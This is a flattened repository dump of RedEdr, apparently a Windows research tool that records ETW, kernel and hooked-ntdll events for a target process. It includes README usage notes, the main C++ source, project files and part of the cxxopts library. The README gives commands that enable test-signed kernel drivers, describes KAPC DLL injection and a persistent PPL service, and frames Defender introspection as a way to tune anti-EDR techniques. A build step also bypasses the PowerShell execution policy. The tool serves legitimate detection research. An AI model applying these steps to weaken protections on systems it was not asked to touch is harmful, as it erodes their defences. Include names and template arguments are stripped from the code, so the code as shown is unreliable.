[http://localhost:8081](http://localhost:8081): ``` PS > .\RedEdr.exe --etw --web --trace notepad.exe ``` ## Advanced Usage For ntdll.dll hooking and ETW-TI, we need to configure windows so it can load our kernel module. Change Windows boot options to enable self-signed kernel drivers and reboot. In admin cmd: ``` PS > bcdedit /set testsigning on PS > bcdedit -debug on PS > shutdown /r /t 0 ``` If you use Hyper-V, uncheck "Security -> Enable Secure Boot". ### ETW-TI ETW-TI requires an ELAM driver to start `RedEdrPplService`, and therefore requires self signed kernel driver option. Make a snapshot of your VM before doing this. Currently its not possible to remove the PPL service ever again. ``` PS > .\RedEdr.exe --etw --etwti --trace notepad.exe ``` If you want ETW Microsoft-Windows-Security-Auditing, start as SYSTEM (`psexec -i -s cmd.exe`). See `gpedit.msc -> Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> System Audit Policies - Local Group Policy object` for settings to log. ### ntdll.dll hooking KAPC DLL injection for ntdll.dll hooking. Thats what many older EDR's depend on. Also requires our own kernel module. ``` PS > .\RedEdr.exe --hook --trace notepad.exe ``` ## EDR Introspection (for Defender) The following is useful to reverse engineer EDR's, and to verify your anti-EDR techniques are targeted. It will observe Defender EDR. For more details, see Levi's blog at [My Hacker Blog](https://blog.levi.wiki/), and the [EDR-Introspection](https://github.com/cailllev/EDR-Introspection) project. ### Microsoft-Antimalware-Engine ETW events Argument: `--with-antimalwareengine` Example: `.\RedEdr.exe --etw --trace putty --web --with-antimalwareengine` This will collect `Microsoft-Antimalware-Engine` events related to the target process. See blog post [Defender Telemetry](https://blog.deeb.ch/posts/defender-telemetry/) for an overview of available events. For example the "Behavior Monitoring BmProcessContextStart", which indicates Defender will start behavior monitoring on the targeted process: ``` Behavior Monitoring BmProcessContextStart etw etw_event_id:0x6D etw_pid:0x1524 etw_process:MsMpEng.exe etw_provider_name:Microsoft-Antimalware-Engine etw_tid:0x37A8 etw_time:0x1DCC98C2B514B90 id:0x3 trace_id:0x29 imagepath:\Device\HarddiskVolume6\toolz\putty.exe pid:0x11F48 processcontextid:0x188F7789520 ``` ### MsMpEng.exe ETW events Argument: `--with-defendertrace` Example: `.\RedEdr.exe --etw --etwti --trace putty --web --with-defendertrace` This will collect `msmpeng.exe` ETW events related to our target process. See blog post [Windows Telemetry](https://blog.deeb.ch/posts/windows-telemetry/) for an overview of available events. For example "Info" ETW event of "Microsoft-Windows-Kernel-Audit-API-Calls" accessing our target process: ``` Info etw etw_event_id:0x6 etw_pid:0x1524 etw_process:MsMpEng.exe etw_provider_name:Microsoft-Windows-Kernel-Audit-API-Calls etw_tid:0x21E0 etw_time:0x1DCC9BA7177FD80 id:0x1 trace_id:0x29 desiredaccess:0x1FFFFF returncode:0x0 targetprocessid:0x1524 targetthreatid:0x21E0 ``` ## Example Output See `Data/` directory: * [Data](https://github.com/dobin/RedEdr/tree/master/Data) ## Hacking Arch: ``` ┌─────┐ ┌────────┐ ┌─────────┐ ┌──────┐ │ ETW │ │ ETW-TI │ │ Kernel │ │ DLL │ └──┬──┘ └───┬────┘ └────┬────┘ └──┬───┘ │ │ │ │ └─────────┴─────────┬─┴──────────┘ │ │ ▼ ┌────────────────┐ │ │ Event as JSON string │ Event │ │ Aggregator │ │ │ ┌──────────┐ └───────┬────────┘ │ Process │ │ └──────────┘ │ ▲ ▼ │query ┌────────────────┐ │ │ │ ┌──────────┴────┐ Event as JSON in C++ │ Event ├────────►│ Process Query │ │ Processor │ └─────────────┬─┘ │ │ │add └┬───────────────┘ ▼ │ ┌──────────────┐ │ ┌────────────────────────┐query │ │ ├─┤Event Augment ├────────►┤ Mem Static │ │ └────────────────────────┘ │ │ │ ┌────────────────────────┐add └──────────────┘ ├─┤Event Mem Tracker ├──────┐ │ └────────────────────────┘ │ ┌──────────────┐ │ ┌────────────────────────┐query └─►│ │ ├─┤Event Detection ├───┐ │ Mem Dynamic │ │ └────────────────────────┘ └────►│ │ ▼ ┌────────────────────────┐ └──────────────┘ └─┤Event Storage & Output │ └────────────────────────┘ ``` IPC: ``` RedEdr.exe ┌────────────┐ ┌─────────────────┐ │ │ KERNEL_PIPE │ │ KERNEL_PIPE: Events (wchar) │ │◄───────────────────┤ Kernel Module │ │ Pipe Server│ │ │ IOCTL: Config (MY_DRIVER_DATA): │ ├───────────────────►│ │ filename │ │ IOCTL └─────────────────┘ enable │ │ │ │ │ │ │ │ │ │ ┌─────────────────┐ │ │ DLL_PIPE │ │ DLL_PIPE: 1: Config (wchar) RedEdr -> DLL │ Pipe Server│◄───────────────────┤ Injected DLL │ "callstack:1;" │ │ │ │ │ │ │ │ >1: Events (wchar) RedEdr <- DLL │ │ └─────────────────┘ │ │ │ │ │ │ │ │ ┌─────────────────┐ │ │ PPL_PIPE │ │ DLL_PIPE: Events (wchar) │ Pipe Server│◄───────────────────┤ ETW-TI Service │ │ │ │ PPL │ │ │ SERVICE_PIPE │ │ SERVICE_PIPE: Config (wchar) │ Pipe Client├───────────────────►│ │ "start:" │ │ └─────────────────┘ │ │ │ │ ┌─────────────────┐ │ │◄───────────────────┤ │ │ │ │ ETW │ │ │ │ │ │ │ │ │ │ │ └─────────────────┘ │ │ │ │ └────────────┘ ``` ## Compiling Good luck. Use VS2022. Compile as DEBUG. To compile the kernel driver: * Install WDK (+SDK): https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk It should deploy everything into `C:\RedEdr\`. On command line, use Visual Studio developer console. Everything: ``` repos\RedEdr>msbuild RedEdr.sln /p:Configuration=Debug /p:Platform=x64 ``` RedEdr only: ``` repos\RedEdr>msbuild RedEdr.sln /p:Configuration=Debug /p:Platform=x64 /t:RedEdr ``` ## Based on Based on MyDumbEdr * GPLv3 * https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/ * https://github.com/sensepost/mydumbedr * patched https://github.com/dobin/mydumbedr * which seems to use: https://github.com/CCob/SylantStrike/tree/master/SylantStrike With KAPC injection from: * https://github.com/0xOvid/RootkitDiaries/ * No license To run as PPL: * https://github.com/pathtofile/PPLRunner/ * No license ## Libraries used * https://github.com/jarro2783/cxxopts, MIT * https://github.com/yhirose/cpp-httplib, MIT * https://github.com/nlohmann/json, MIT ================================================ FILE: RedEdr/RedEdr.cpp ================================================ #include #include #include #include "logging.h" #include "manager.h" #include "cxxops.hpp" #include "config.h" #include "event_processor.h" #include "webserver.h" #include "kernelinterface.h" #include "pplmanager.h" #include "process_query.h" #include "privileges.h" #include "../Shared/common.h" /* RedEdr.c: Main file * Parse args * Set flags in the Config object * Init necessary things * Start all threads (mostly through Manager) * Wait for threads to exit */ BOOL WINAPI ConsoleCtrlHandler(DWORD ctrlType) { switch (ctrlType) { case CTRL_C_EVENT: case CTRL_CLOSE_EVENT: case CTRL_BREAK_EVENT: case CTRL_LOGOFF_EVENT: case CTRL_SHUTDOWN_EVENT: LOG_A(LOG_WARNING, "\nRedEdr: Ctrl-c detected, performing shutdown"); ManagerShutdown(); return TRUE; // Indicate that we handled the signal default: return FALSE; // Let the next handler handle the signal } } void CreateRequiredFiles() { LPCWSTR dir = L"c:\\rededr\\data"; DWORD fileAttributes = GetFileAttributes(dir); if (fileAttributes == INVALID_FILE_ATTRIBUTES || !(fileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { std::cout << "Directory does not exist. Creating it...\n"; if (! CreateDirectory(dir, NULL)) { std::cerr << "Failed to create directory. Error: " << GetLastError() << "\n"; } } } int main(int argc, char* argv[]) { cxxopts::Options options("RedEdr", "Maldev event recorder"); options.add_options() // Input ("trace", "Input: Process name to observe", cxxopts::value()->default_value("malware")) ("etw", "Input: Consume ETW Events", cxxopts::value()->default_value("false")) ("etwti", "Input: Consume ETW-TI Events", cxxopts::value()->default_value("false")) ("kernel", "Input: Enable kernel module", cxxopts::value()->default_value("false")) ("hook", "Input: DLL injection/hooking", cxxopts::value()->default_value("false")) // Input options ("with-defendertrace", "Input option Defender: Add MsMpEng.exe as target process", cxxopts::value()->default_value("false")) ("with-antimalwareengine", "Input option Defender: Grab ETW events of Microsoft-Antimalware-Engine (related to target process)", cxxopts::value()->default_value("false")) // Output ("web", "Output: Web server", cxxopts::value()->default_value("true")) ("port", "Output: Web server port", cxxopts::value()->default_value("8081")) ("show", "Output: Show messages on stdout", cxxopts::value()->default_value("false")) // Debug ("dllreader", "Debug: DLL reader but no injection (for manual injection tests)", cxxopts::value()->default_value("false")) ("krnload", "Debug: Kernel Module Load", cxxopts::value()->default_value("false")) ("krnunload", "Debug: Kernel Module Unload", cxxopts::value()->default_value("false")) ("pplstart", "Debug: PPL service load", cxxopts::value()->default_value("false")) ("pplstop", "Debug: PPL service stop", cxxopts::value()->default_value("false")) ("d,debug", "Debug: Enable debug output", cxxopts::value()->default_value("false")) ("h,help", "Print usage") ; options.allow_unrecognised_options(); auto result = options.parse(argc, argv); if (result.count("help") || result.unmatched().size() > 0) { printf("Unrecognized argument\n"); std::cout << options.help() << std::endl; exit(0); } // First some debug things if (result.count("krnload")) { LoadKernelDriver(); exit(0); } else if (result.count("krnunload")) { UnloadKernelDriver(); exit(0); } else if (result.count("pplstart")) { InstallElamCertPpl(); InstallPplService(); exit(0); } else if (result.count("pplstop")) { // Instruct PPL service to exit itself (cant do it otherwise) // Note: we can replace the exe and start it again ConnectPplService(); ShutdownPplService(); exit(0); } // Store args in config if (result.count("trace")) { std::string traceTarget = result["trace"].as(); g_Config.targetProcessNames = {traceTarget}; // ManagerApplyNewTargets(g_Config.targetProcessNames); // no need here? } int port = result["port"].as(); g_Config.do_etw = result["etw"].as(); g_Config.do_etwti = result["etwti"].as(); if (g_Config.do_etwti) g_Config.do_kernel = true; // it works better with kernel support g_Config.do_kernel = result["kernel"].as(); g_Config.do_hook = result["hook"].as(); if (g_Config.do_hook) g_Config.do_kernel = true; // hook always requires kernel module g_Config.debug_dllreader = result["dllreader"].as(); g_Config.hide_full_output = ! result["show"].as(); g_Config.web_output = result["web"].as(); g_Config.do_defendertrace = result["with-defendertrace"].as(); g_Config.do_antimalwareengine = result["with-antimalwareengine"].as(); if (g_Config.do_antimalwareengine && !g_Config.do_etw) { LOG_A(LOG_WARNING, "Config: --with-antimalwareengine has no effect without --etw"); return 1; } if (!g_Config.do_etw && !g_Config.do_kernel && !g_Config.do_etwti && !g_Config.debug_dllreader) { printf("Choose at least one of --etw / --etwti / --hook"); return 1; } CreateRequiredFiles(); InitProcessQuery(); g_EventProcessor.init(); // we also do it in constructor, but wont have g_Config // All threads of all *Reader subsystems std::vector threads; LOG_A(LOG_INFO, "RedEdr %s", REDEDR_VERSION); if (!g_Config.targetProcessNames.empty()) { std::string targets = ""; for (size_t i = 0; i < g_Config.targetProcessNames.size(); ++i) { if (i > 0) targets += ", "; targets += g_Config.targetProcessNames[i]; } LOG_A(LOG_INFO, "Config: tracing process(es): \"%s\"", targets.c_str()); } else { LOG_A(LOG_INFO, "Config: no targets configured"); } // SeDebug if (!PermissionMakeMeDebug()) { LOG_A(LOG_ERROR, "RedEdr: Permission error - Did you start with local admin?"); return 1; } if (!RunsAsSystem()) { LOG_A(LOG_WARNING, "RedEdr Permissions: Not running as SYSTEM, some ETW data is not available"); } // Ctrl+C if (!SetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE)) { LOG_A(LOG_ERROR, "RedEdr: Failed to set control handler"); return 1; } // Functionality ManagerStart(threads); InitializeEventProcessor(threads); // Webserver - boot it last if (g_Config.web_output) { InitializeWebServer(threads, port); } // Wait for all threads to complete //LOG_A(LOG_INFO, "RedEdr: All started, waiting for %llu threads to exit", threads.size()); //if (threads.empty()) { // LOG_A(LOG_WARNING, "RedEdr: No threads to wait for"); // return 0; //} // Log which threads we're waiting for //LOG_A(LOG_INFO, "RedEdr: Thread handles being tracked:"); for (size_t i = 0; i < threads.size(); i++) { LOG_A(LOG_DEBUG, "Track Thread %zu (handle 0x%p)", i, threads[i]); } // Wait for all threads to complete LOG_A(LOG_INFO, "RedEdr: All started, ready"); DWORD res = WaitForMultipleObjects((DWORD)threads.size(), threads.data(), TRUE, INFINITE); if (res == WAIT_FAILED) { LOG_A(LOG_ERROR, "RedEdr: Wait failed"); } LOG_A(LOG_INFO, "RedEdr: all %llu threads finished", threads.size()); // Clean up thread handles for (HANDLE thread : threads) { CloseHandle(thread); } return 0; } ================================================ FILE: RedEdr/RedEdr.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {d4ab9b77-7a7b-45e8-8bdc-ac958edb1372} RedEdr 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode C:\RedEdr\ true C:\RedEdr\ true Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;OUTPUT_STDOUT;WIN32_LEAN_AND_MEAN;%(PreprocessorDefinitions) true $(SolutionDir)RedEdrShared/;%(AdditionalIncludeDirectories) stdcpp17 MultiThreadedDebug Console true Wtsapi32.lib;%(AdditionalDependencies) powershell -ep bypass -f "$(SolutionDir)sign_file.ps1" "$(SolutionDir)rededr_ppl.pfx" "$(TargetDir)$(TargetFileName)" Level3 true true true UNICODE;_UNICODE;NDEBUG;_CONSOLE;OUTPUT_STDOUT;WIN32_LEAN_AND_MEAN true $(SolutionDir)RedEdrShared;%(AdditionalIncludeDirectories) stdcpp17 Console true true true Wtsapi32.lib;%(AdditionalDependencies) true true true This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. ================================================ FILE: RedEdr/RedEdr.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms {729c11c2-6cba-4b6a-b0bc-56d18a3f3dfd} {81c69665-cc45-4ca7-b535-9be661578dff} {71afe3f2-d067-4212-afab-cd324e6885df} {e6905749-0e08-4e18-a4f4-4f769d79fd46} {b5b02dc7-53a6-4d22-bfa6-a4102b950d4c} {f0d7fa81-5b59-4e94-a796-11bd411a1184} {f74d6ae9-c05b-493d-9ee1-76ea79ba0703} {df7f6388-9e99-46c4-89bf-2a931b922311} {aac45432-501a-4c40-8440-16c4e8725eb9} Source Files Source Files Source Files Source Files Source Files\input Source Files\input Source Files\input Source Files\input Source Files\input Source Files\input Source Files\input Source Files Source Files\windows Source Files\process Source Files\process Source Files\process Source Files\existing Source Files\existing Source Files\windows Source Files Source Files\existing Source Files\existing Source Files\existing Source Files\existing Source Files\existing Source Files\existing Header Files Header Files Header Files Header Files Header Files\input Header Files\input Header Files\input Header Files\input Header Files\input Header Files\input Header Files\libs Header Files\libs Header Files\windows Header Files\process Header Files\process Header Files\process Header Files Header Files\input Header Files\windows Header Files Header Files Source Files\web Source Files\web Source Files\web ================================================ FILE: RedEdr/config.cpp ================================================ #include "config.h" Config g_Config; ================================================ FILE: RedEdr/config.h ================================================ #pragma once #include #include #include class Config { public: std::vector targetProcessNames = {"malware"}; bool debug = false; // Constants LPCWSTR driverName = L"RedEdr"; LPCWSTR driverPath = L"C:\\RedEdr\\RedEdrDriver\\RedEdrDriver.sys"; LPCSTR inject_dll_path = "C:\\RedEdr\\RedEdrDll.dll"; // Options bool hide_full_output = false; bool web_output = false; bool log_unload = false; bool do_udllinjection = false; bool debug_dllreader = false; bool enable_remote_exec = true; // Input selection bool do_etw = false; bool do_etwti = false; bool do_kernel = false; // kernel module loaded (set by --kernel or --hook) bool do_hook = false; // kernel module + DLL injection/hooking (set by --hook) // More input bool do_defendertrace = false; bool do_antimalwareengine = false; bool do_dllinjection_ucallstack = true; // ETW input selection bool etw_standard = true; bool etw_kernelaudit = true; bool etw_secaudit = true; bool etw_defender = false; }; extern Config g_Config; ================================================ FILE: RedEdr/cxxops.hpp ================================================ /* Copyright (c) 2014-2022 Jarryd Beck Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // vim: ts=2:sw=2:expandtab #ifndef CXXOPTS_HPP_INCLUDED #define CXXOPTS_HPP_INCLUDED #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef CXXOPTS_NO_EXCEPTIONS #include #endif #if defined(__GNUC__) && !defined(__clang__) # if (__GNUC__ * 10 + __GNUC_MINOR__) < 49 # define CXXOPTS_NO_REGEX true # endif #endif #if defined(_MSC_VER) && !defined(__clang__) #define CXXOPTS_LINKONCE_CONST __declspec(selectany) extern #define CXXOPTS_LINKONCE __declspec(selectany) extern #else #define CXXOPTS_LINKONCE_CONST #define CXXOPTS_LINKONCE #endif #ifndef CXXOPTS_NO_REGEX # include #endif // CXXOPTS_NO_REGEX // Nonstandard before C++17, which is coincidentally what we also need for #ifdef __has_include # if __has_include() # include # ifdef __cpp_lib_optional # define CXXOPTS_HAS_OPTIONAL # endif # endif #endif #define CXXOPTS_FALLTHROUGH #ifdef __has_cpp_attribute #if __has_cpp_attribute(fallthrough) #undef CXXOPTS_FALLTHROUGH #define CXXOPTS_FALLTHROUGH [[fallthrough]] #endif #endif #if __cplusplus >= 201603L #define CXXOPTS_NODISCARD [[nodiscard]] #else #define CXXOPTS_NODISCARD #endif #ifndef CXXOPTS_VECTOR_DELIMITER #define CXXOPTS_VECTOR_DELIMITER ',' #endif #define CXXOPTS__VERSION_MAJOR 3 #define CXXOPTS__VERSION_MINOR 2 #define CXXOPTS__VERSION_PATCH 1 #if (__GNUC__ < 10 || (__GNUC__ == 10 && __GNUC_MINOR__ < 1)) && __GNUC__ >= 6 #define CXXOPTS_NULL_DEREF_IGNORE #endif #if defined(__GNUC__) #define DO_PRAGMA(x) _Pragma(#x) #define CXXOPTS_DIAGNOSTIC_PUSH DO_PRAGMA(GCC diagnostic push) #define CXXOPTS_DIAGNOSTIC_POP DO_PRAGMA(GCC diagnostic pop) #define CXXOPTS_IGNORE_WARNING(x) DO_PRAGMA(GCC diagnostic ignored x) #else // define other compilers here if needed #define CXXOPTS_DIAGNOSTIC_PUSH #define CXXOPTS_DIAGNOSTIC_POP #define CXXOPTS_IGNORE_WARNING(x) #endif #ifdef CXXOPTS_NO_RTTI #define CXXOPTS_RTTI_CAST static_cast #else #define CXXOPTS_RTTI_CAST dynamic_cast #endif namespace cxxopts { static constexpr struct { uint8_t major, minor, patch; } version = { CXXOPTS__VERSION_MAJOR, CXXOPTS__VERSION_MINOR, CXXOPTS__VERSION_PATCH }; } // namespace cxxopts //when we ask cxxopts to use Unicode, help strings are processed using ICU, //which results in the correct lengths being computed for strings when they //are formatted for the help output //it is necessary to make sure that can be found by the //compiler, and that icu-uc is linked in to the binary. #ifdef CXXOPTS_USE_UNICODE #include namespace cxxopts { using String = icu::UnicodeString; inline String toLocalString(std::string s) { return icu::UnicodeString::fromUTF8(std::move(s)); } // GNU GCC with -Weffc++ will issue a warning regarding the upcoming class, we want to silence it: // warning: base class 'class std::enable_shared_from_this' has accessible non-virtual destructor CXXOPTS_DIAGNOSTIC_PUSH CXXOPTS_IGNORE_WARNING("-Wnon-virtual-dtor") // This will be ignored under other compilers like LLVM clang. class UnicodeStringIterator { public: using iterator_category = std::forward_iterator_tag; using value_type = int32_t; using difference_type = std::ptrdiff_t; using pointer = value_type*; using reference = value_type&; UnicodeStringIterator(const icu::UnicodeString* string, int32_t pos) : s(string) , i(pos) { } value_type operator*() const { return s->char32At(i); } bool operator==(const UnicodeStringIterator& rhs) const { return s == rhs.s && i == rhs.i; } bool operator!=(const UnicodeStringIterator& rhs) const { return !(*this == rhs); } UnicodeStringIterator& operator++() { ++i; return *this; } UnicodeStringIterator operator+(int32_t v) { return UnicodeStringIterator(s, i + v); } private: const icu::UnicodeString* s; int32_t i; }; CXXOPTS_DIAGNOSTIC_POP inline String& stringAppend(String& s, String a) { return s.append(std::move(a)); } inline String& stringAppend(String& s, std::size_t n, UChar32 c) { for (std::size_t i = 0; i != n; ++i) { s.append(c); } return s; } template String& stringAppend(String& s, Iterator begin, Iterator end) { while (begin != end) { s.append(*begin); ++begin; } return s; } inline size_t stringLength(const String& s) { return static_cast(s.length()); } inline std::string toUTF8String(const String& s) { std::string result; s.toUTF8String(result); return result; } inline bool empty(const String& s) { return s.isEmpty(); } } // namespace cxxopts namespace std { inline cxxopts::UnicodeStringIterator begin(const icu::UnicodeString& s) { return cxxopts::UnicodeStringIterator(&s, 0); } inline cxxopts::UnicodeStringIterator end(const icu::UnicodeString& s) { return cxxopts::UnicodeStringIterator(&s, s.length()); } } // namespace std //ifdef CXXOPTS_USE_UNICODE #else namespace cxxopts { using String = std::string; template T toLocalString(T&& t) { return std::forward(t); } inline std::size_t stringLength(const String& s) { return s.length(); } inline String& stringAppend(String& s, const String& a) { return s.append(a); } inline String& stringAppend(String& s, std::size_t n, char c) { return s.append(n, c); } template String& stringAppend(String& s, Iterator begin, Iterator end) { return s.append(begin, end); } template std::string toUTF8String(T&& t) { return std::forward(t); } inline bool empty(const std::string& s) { return s.empty(); } } // namespace cxxopts //ifdef CXXOPTS_USE_UNICODE #endif namespace cxxopts { namespace { CXXOPTS_LINKONCE_CONST std::string LQUOTE("\'"); CXXOPTS_LINKONCE_CONST std::string RQUOTE("\'"); } // namespace // GNU GCC with -Weffc++ will issue a warning regarding the upcoming class, we // want to silence it: warning: base class 'class // std::enable_shared_from_this' has accessible non-virtual // destructor This will be ignored under other compilers like LLVM clang. CXXOPTS_DIAGNOSTIC_PUSH CXXOPTS_IGNORE_WARNING("-Wnon-virtual-dtor") // some older versions of GCC warn under this warning CXXOPTS_IGNORE_WARNING("-Weffc++") class Value : public std::enable_shared_from_this { public: virtual ~Value() = default; virtual std::shared_ptr clone() const = 0; virtual void add(const std::string& text) const = 0; virtual void parse(const std::string& text) const = 0; virtual void parse() const = 0; virtual bool has_default() const = 0; virtual bool is_container() const = 0; virtual bool has_implicit() const = 0; virtual std::string get_default_value() const = 0; virtual std::string get_implicit_value() const = 0; virtual std::shared_ptr default_value(const std::string& value) = 0; virtual std::shared_ptr implicit_value(const std::string& value) = 0; virtual std::shared_ptr no_implicit_value() = 0; virtual bool is_boolean() const = 0; }; CXXOPTS_DIAGNOSTIC_POP namespace exceptions { class exception : public std::exception { public: explicit exception(std::string message) : m_message(std::move(message)) { } CXXOPTS_NODISCARD const char* what() const noexcept override { return m_message.c_str(); } private: std::string m_message; }; class specification : public exception { public: explicit specification(const std::string& message) : exception(message) { } }; class parsing : public exception { public: explicit parsing(const std::string& message) : exception(message) { } }; class option_already_exists : public specification { public: explicit option_already_exists(const std::string& option) : specification("Option " + LQUOTE + option + RQUOTE + " already exists") { } }; class invalid_option_format : public specification { public: explicit invalid_option_format(const std::string& format) : specification("Invalid option format " + LQUOTE + format + RQUOTE) { } }; class invalid_option_syntax : public parsing { public: explicit invalid_option_syntax(const std::string& text) : parsing("Argument " + LQUOTE + text + RQUOTE + " starts with a - but has incorrect syntax") { } }; class no_such_option : public parsing { public: explicit no_such_option(const std::string& option) : parsing("Option " + LQUOTE + option + RQUOTE + " does not exist") { } }; class missing_argument : public parsing { public: explicit missing_argument(const std::string& option) : parsing( "Option " + LQUOTE + option + RQUOTE + " is missing an argument" ) { } }; class option_requires_argument : public parsing { public: explicit option_requires_argument(const std::string& option) : parsing( "Option " + LQUOTE + option + RQUOTE + " requires an argument" ) { } }; class gratuitous_argument_for_option : public parsing { public: gratuitous_argument_for_option ( const std::string& option, const std::string& arg ) : parsing( "Option " + LQUOTE + option + RQUOTE + " does not take an argument, but argument " + LQUOTE + arg + RQUOTE + " given" ) { } }; class requested_option_not_present : public parsing { public: explicit requested_option_not_present(const std::string& option) : parsing("Option " + LQUOTE + option + RQUOTE + " not present") { } }; class option_has_no_value : public exception { public: explicit option_has_no_value(const std::string& option) : exception( !option.empty() ? ("Option " + LQUOTE + option + RQUOTE + " has no value") : "Option has no value") { } }; class incorrect_argument_type : public parsing { public: explicit incorrect_argument_type ( const std::string& arg ) : parsing( "Argument " + LQUOTE + arg + RQUOTE + " failed to parse" ) { } }; } // namespace exceptions template void throw_or_mimic(const std::string& text) { static_assert(std::is_base_of::value, "throw_or_mimic only works on std::exception and " "deriving classes"); #ifndef CXXOPTS_NO_EXCEPTIONS // If CXXOPTS_NO_EXCEPTIONS is not defined, just throw throw T{ text }; #else // Otherwise manually instantiate the exception, print what() to stderr, // and exit T exception{ text }; std::cerr << exception.what() << std::endl; std::exit(EXIT_FAILURE); #endif } using OptionNames = std::vector; namespace values { namespace parser_tool { struct IntegerDesc { std::string negative = ""; std::string base = ""; std::string value = ""; }; struct ArguDesc { std::string arg_name = ""; bool grouping = false; bool set_value = false; std::string value = ""; }; #ifdef CXXOPTS_NO_REGEX inline IntegerDesc SplitInteger(const std::string& text) { if (text.empty()) { throw_or_mimic(text); } IntegerDesc desc; const char* pdata = text.c_str(); if (*pdata == '-') { pdata += 1; desc.negative = "-"; } if (strncmp(pdata, "0x", 2) == 0) { pdata += 2; desc.base = "0x"; } if (*pdata != '\0') { desc.value = std::string(pdata); } else { throw_or_mimic(text); } return desc; } inline bool IsTrueText(const std::string& text) { const char* pdata = text.c_str(); if (*pdata == 't' || *pdata == 'T') { pdata += 1; if (strncmp(pdata, "rue\0", 4) == 0) { return true; } } else if (strncmp(pdata, "1\0", 2) == 0) { return true; } return false; } inline bool IsFalseText(const std::string& text) { const char* pdata = text.c_str(); if (*pdata == 'f' || *pdata == 'F') { pdata += 1; if (strncmp(pdata, "alse\0", 5) == 0) { return true; } } else if (strncmp(pdata, "0\0", 2) == 0) { return true; } return false; } inline OptionNames split_option_names(const std::string& text) { OptionNames split_names; std::string::size_type token_start_pos = 0; auto length = text.length(); if (length == 0) { throw_or_mimic(text); } while (token_start_pos < length) { const auto& npos = std::string::npos; auto next_non_space_pos = text.find_first_not_of(' ', token_start_pos); if (next_non_space_pos == npos) { throw_or_mimic(text); } token_start_pos = next_non_space_pos; auto next_delimiter_pos = text.find(',', token_start_pos); if (next_delimiter_pos == token_start_pos) { throw_or_mimic(text); } if (next_delimiter_pos == npos) { next_delimiter_pos = length; } auto token_length = next_delimiter_pos - token_start_pos; // validate the token itself matches the regex /([:alnum:][-_[:alnum:]]*/ { const char* option_name_valid_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "_-.?"; if (!std::isalnum(text[token_start_pos], std::locale::classic()) || text.find_first_not_of(option_name_valid_chars, token_start_pos) < next_delimiter_pos) { throw_or_mimic(text); } } split_names.emplace_back(text.substr(token_start_pos, token_length)); token_start_pos = next_delimiter_pos + 1; } return split_names; } inline ArguDesc ParseArgument(const char* arg, bool& matched) { ArguDesc argu_desc; const char* pdata = arg; matched = false; if (strncmp(pdata, "--", 2) == 0) { pdata += 2; if (isalnum(*pdata, std::locale::classic())) { argu_desc.arg_name.push_back(*pdata); pdata += 1; while (isalnum(*pdata, std::locale::classic()) || *pdata == '-' || *pdata == '_') { argu_desc.arg_name.push_back(*pdata); pdata += 1; } if (argu_desc.arg_name.length() > 1) { if (*pdata == '=') { argu_desc.set_value = true; pdata += 1; if (*pdata != '\0') { argu_desc.value = std::string(pdata); } matched = true; } else if (*pdata == '\0') { matched = true; } } } } else if (strncmp(pdata, "-", 1) == 0) { pdata += 1; argu_desc.grouping = true; while (isalnum(*pdata, std::locale::classic())) { argu_desc.arg_name.push_back(*pdata); pdata += 1; } matched = !argu_desc.arg_name.empty() && *pdata == '\0'; } return argu_desc; } #else // CXXOPTS_NO_REGEX namespace { CXXOPTS_LINKONCE const char* const integer_pattern = "(-)?(0x)?([0-9a-zA-Z]+)|((0x)?0)"; CXXOPTS_LINKONCE const char* const truthy_pattern = "(t|T)(rue)?|1"; CXXOPTS_LINKONCE const char* const falsy_pattern = "(f|F)(alse)?|0"; CXXOPTS_LINKONCE const char* const option_pattern = "--([[:alnum:]][-_[:alnum:]\\.]+)(=(.*))?|-([[:alnum:]].*)"; CXXOPTS_LINKONCE const char* const option_specifier_pattern = "([[:alnum:]][-_[:alnum:]\\.]*)(,[ ]*[[:alnum:]][-_[:alnum:]]*)*"; CXXOPTS_LINKONCE const char* const option_specifier_separator_pattern = ", *"; } // namespace inline IntegerDesc SplitInteger(const std::string& text) { static const std::basic_regex integer_matcher(integer_pattern); std::smatch match; std::regex_match(text, match, integer_matcher); if (match.length() == 0) { throw_or_mimic(text); } IntegerDesc desc; desc.negative = match[1]; desc.base = match[2]; desc.value = match[3]; if (match.length(4) > 0) { desc.base = match[5]; desc.value 